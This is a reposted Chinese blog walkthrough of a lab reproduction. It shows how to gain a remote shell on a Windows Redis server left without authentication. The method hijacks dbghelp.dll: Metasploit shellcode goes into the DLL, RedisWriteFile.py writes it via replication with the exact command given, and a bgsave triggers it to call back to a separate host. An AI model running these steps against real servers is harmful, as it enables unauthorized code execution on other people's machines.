首页 > 数据库 >Windows中redis未授权通过dll劫持上线

Windows中redis未授权通过dll劫持上线

时间:2022-10-18 17:49:12浏览次数:59  
标签:劫持 Windows dbghelp redis 192.168 dll --

转自https://mp.weixin.qq.com/s/U-UD7h92fEJzCjyGbgF4Og

前言

项目中时不时会遇到windows的redis未授权,利用dll劫持可以不用重启获取shell。本文参考网上师傅们的文章详细复现了过程,供各位才入坑的朋友们参考。

前期准备

环境

攻击机:192.168.254.129 win10 默认安装 Redis 3.2.100
目标机:192.168.254.130 win2012 默认安装Redis 3.2.100
回连主机:192.168.254.131,kali msf shellcode

工具准备

dll_hijack
https://github.com/JKme/sb_kiddie-/tree/master/hacking_win/dll_hijack
RedisWrite
https://github.com/r35tart/RedisWriteFile
redis-dump-go
https://github.com/yannh/redis-dump-go
visual studio 2019 微软官网下载

安装redis

攻击机和目标机都采用默认安装,Redis Service会开机自启,权限为Network Service ,对默认目录是拥有完全控制权限的。

寻找DLL劫持目标

连接redis-cli.exe -h 192.168.254.130,使用bgsave命令,查看缺少的dll



可以看到dbghelp.dll可以作为劫持目标,除了bgsave,其他的命令操作也可以触发其他dll。dbghelp.dll系统自带,我们可以直接拿来利用

利用复现

连接redis,执行info命令,通过config_file能看到路径,我这里不知道怎么配置的没了,所以该复现步骤前提是要知道redis的安装目录。

使用dllHijack工具,执行后生成dbghelp项目
python DllHijacker.py dbghelp.dll


msf生成c的payload

将dbghelp项目中的shellcode进行替换

,release生成

使用主从复制将修改后的dll写入到目标指定位置
下载RedisWriteFile工具,将修改后的dll放在同一个目录下,执行命令
python RedisWriteFile.py --rhost=192.168.254.130 --rport=6379 --lhost=192.168.254.129 --rpath="C:\\Users\\superman\\Desktop\\Redis-x64-3.0.504\\" --rfile="dbghelp.dll" --lfile="dbghelp.dll"

可以看到目标机器被写入了dll文件

在redis客户端连接执行bgsave,尝试触发劫持dll

同时间可以看到msf收到了shell

总结

1、为什么不直接用主从复制获得shell,Windows版的redis目前最高支持版本为3.2,主从复制的前提是需要关键模块MODULE LOAD,这个是redis4.0之后才有的。
2、个人环境测试,发现该dll劫持方式不会影响redis运行,但是会影响redis启动或重启,将恶意的dll删除即可恢复

标签:劫持,Windows,dbghelp,redis,192.168,dll,--
From: https://www.cnblogs.com/sup3rman/p/16803408.html

相关文章

  • ubuntu18安装redis后未开机启动Could not connect to Redis at 127.0.0.1:6379: Conne
    阿里云ubuntu18安装redis后,aptinstallredis-serverredis-cli提示CouldnotconnecttoRedisat127.0.0.1:6379:Connectionrefused最终发现是两方面导致:1.ubuntu18......
  • Windows Server 2012 搭建Ftp服务器
    WindowsServer2012搭建Ftp服务器一、介绍FTP全称是FileTransferProtocol的简称,是一种文件传输协议。它使用TCP进行传输,客户和服务器建立连接前需要进行一个"三次握手......
  • Redis6中的事务操作
    Redis事务是一个单独的隔离操作:事务中的所有命令都会序列化、按顺序地执行。事务在执行的过程中,不会被其他客户端发送来的命令请求所打断。Redis事务的主要作用就是串联多......
  • 如何在 Windows 上安装 ONLYOFFICE 文档 v7.2
    通过阅读本文,了解如何在Windows上安装ONLYOFFICE文档v7.2。引言使用社区版,您可以在本地服务器上安装ONLYOFFICE文档,并将在线编辑器与ONLYOFFICE协作平台​或其他热门系......
  • Redis 发布订阅
    什么是发布和订阅在软件架构中,发布订阅是一种消息范式,消息的发送者(称为发布者)不会将消息直接发送给特定的接收者(称为订阅者)。而是将发布的消息分为不同的类别,无需了解哪些......
  • Windows 和 Mac 系统下安装git 并上传,修改项目
    首先在MAC上怎么操作。在gitHub创立一个账户,在创立一个项目,这就不用我说了对吧。创建完之后是这样的: 接下来,我们打开https://brew.sh这是下载homebrew的网站,homebrew是干......
  • linux windows双系统 磁盘扩充 系统备份
    前言由于工作需要,从windows迁移到linux,但是怕linux下有工作不能胜任,所以先装了双系统过度。用了一段时间,对windows的依赖越来越低,所以准备卸载windows上的一些软件,清理一......
  • datax3在windows环境下cmd乱码
    问题描述:运行python\xxx\datax.py\xxx\job.json控制台汉字显示乱码。原因分析:window操作系统默认编码格式是gbk(963)编码,而在程序开发中我们统一的编码是UTF-8。这样......
  • Windows下Nginx初始化
    官网下载地址:https://nginx.org/en/download.html 二、安装部署1、下载完成后,解压缩,运行cmd,使用命令进行操作,不要直接双击nginx.exe,不要直接双击nginx.exe,不要直接双......
  • WSL无法启动解决记录:"由于未安装所需的特性,无法启动操作。""Windows无法启动Hyper-V主
    电脑加装了内存条,无法启动WSL、问题记录检测过程:1.确保在BIOS开启HMX虚拟化2.在控制面板中开启“hyper-V”3.确保Hyper-V主机服务正常启动 做了上述步骤,发现问......